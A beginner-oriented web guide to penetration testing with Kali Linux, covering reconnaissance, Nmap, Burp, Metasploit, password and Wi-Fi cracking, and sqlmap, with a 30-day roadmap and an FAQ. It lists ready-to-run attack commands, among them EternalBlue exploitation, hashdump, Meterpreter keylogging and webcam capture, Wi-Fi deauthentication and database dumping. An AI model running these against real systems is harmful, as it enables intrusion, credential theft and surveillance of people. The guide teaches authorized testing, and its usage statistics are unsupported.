How to Perform Ethical Hacking With Kali Linux?

Introduction

Kali Linux is the #1 ethical hacking OS in 2025, preloaded with 600+ tools for reconnaissance, scanning, exploitation, and reporting. Used by 90% of pentesters worldwide, it powers everything from Wi-Fi cracking to web app attacks. But Kali is not for illegal hacking—only authorized testing. This guide walks you through legal, step-by-step pentesting using TryHackMe labs and your own VM. From Nmap to Metasploit, you’ll perform real attacks in 30 days. No prior experience needed. Start ethically. Stay legal. Master Kali.

Install and Set Up Kali Linux Safely

Run Kali in a virtual machine to avoid bricking your system. Never install on bare metal for daily use.

• Download from kali.org (VM image)
• Use VirtualBox or VMware
• 8GB RAM, 100GB disk
• Enable USB passthrough
• Update: sudo apt update && apt upgrade
• Install guest additions

Reconnaissance with Kali Tools

• theHarvester: Email/OSINT gathering
• Maltego: Visual relationship mapping
• Recon-ng: Modular recon framework
• Dmitry: Deepmagic info gathering
• Google Dorks via browser
• Save output to files

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Network Scanning with Nmap

Nmap is Kali’s Swiss Army knife. Scan ports, detect OS, and find vulnerabilities.

• nmap -sS -p- -A 192.168.1.1
• Zenmap GUI for beginners
• Scripting: --script=vuln
• Save XML: -oX scan.xml
• Aggressive scan: -A
• Free and powerful

Web Application Testing with Burp Suite

Burp intercepts, modifies, and fuzzes web traffic. Kali includes Community Edition.

• Set browser proxy to 127.0.0.1:8080
• Intercept GET/POST requests
• Repeater for manual testing
• Intruder for brute force
• Scanner (Pro only)
• Export to HTML report

Exploitation with Metasploit

Metasploit automates exploits. Search, configure, and launch in minutes.

• msfconsole → search eternalblue
• use exploit/windows/smb/ms17_010
• set RHOSTS 192.168.1.10
• exploit → Meterpreter session
• sysinfo, hashdump, screenshot
• Free in Kali

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Password Cracking with Hashcat and John

• hashcat -m 0 -a 0 hash.txt wordlist.txt
• John --wordlist=rockyou.txt hashes
• GPU acceleration (NVIDIA)
• Crack NTLM, MD5, SHA
• Rules for mangling
• Free and fast

Wi-Fi Hacking with Aircrack-ng

Crack WPA2 handshakes in monitor mode. Legal only on your network.

• airmon-ng start wlan0
• airodump-ng wlan0mon
• aireplay-ng --deauth
• aircrack-ng -w wordlist.cap
• Only on owned Wi-Fi
• Free in Kali

SQL Injection with SQLmap

• sqlmap -u "http://site.com?id=1" --dbs
• --dump-all for full data
• Automated injection
• Supports POST, cookies
• Risk level 1-5
• Free and automated

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Post-Exploitation and Reporting

Maintain access, pivot, and document findings professionally.

• Meterpreter: keyscan, webcam_snap
• Pivot with proxychains
• Screenshot evidence
• Use Dradis for reporting
• CVSS scoring
• PDF export

30-Day Kali Linux Ethical Hacking Roadmap

• Days 1–5: Install + Recon
• Days 6–10: Nmap + Burp
• Days 11–15: Metasploit exploits
• Days 16–20: Wi-Fi + SQLmap
• Days 21–25: Post-exploitation
• Days 26–30: Full report + CTF

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Kali Linux Ethical Hacking Checklist

• Kali VM running
• Target scope defined
• Recon completed
• Nmap scan saved
• Exploits tested
• Report drafted

Conclusion

Kali Linux turns curiosity into power. With Nmap, Metasploit, and Burp, you scan, exploit, and report like a pro—in legal labs. Never test without permission. Practice on TryHackMe, Hack The Box, or your home lab. In 30 days, you’ll pentest real systems. One command at a time, you’re building a career. The world needs ethical hackers. Kali is your tool. Ethics is your rule. Start now. Stay authorized. Hack responsibly.

Frequently Asked Questions

Is Kali Linux illegal?

No. Using it for unauthorized hacking is.

Can I install Kali on USB?

Yes. Live persistence mode.

Do I need a powerful PC?

8GB RAM minimum for VMs.

Best lab for Kali?

TryHackMe or Hack The Box.

Is Metasploit GUI available?

Yes. Armitage in Kali.

Can I use Kali on phone?

Yes. NetHunter for rooted Android.

How to update Kali tools?

sudo apt update && apt full-upgrade

Is Aircrack-ng legal?

Only on your own Wi-Fi.

Best wordlist for cracking?

rockyou.txt in Kali.

Can I dual boot Kali?

Risky. Use VM instead.

SQLmap for beginners?

Yes. Fully automated.

Reporting tool in Kali?

Dradis or KeepNote.

Is Kali for daily use?

No. Use Ubuntu for stability.

Free Kali alternative?

Parrot OS Security Edition.

Future of Kali?

AI tools, cloud integration.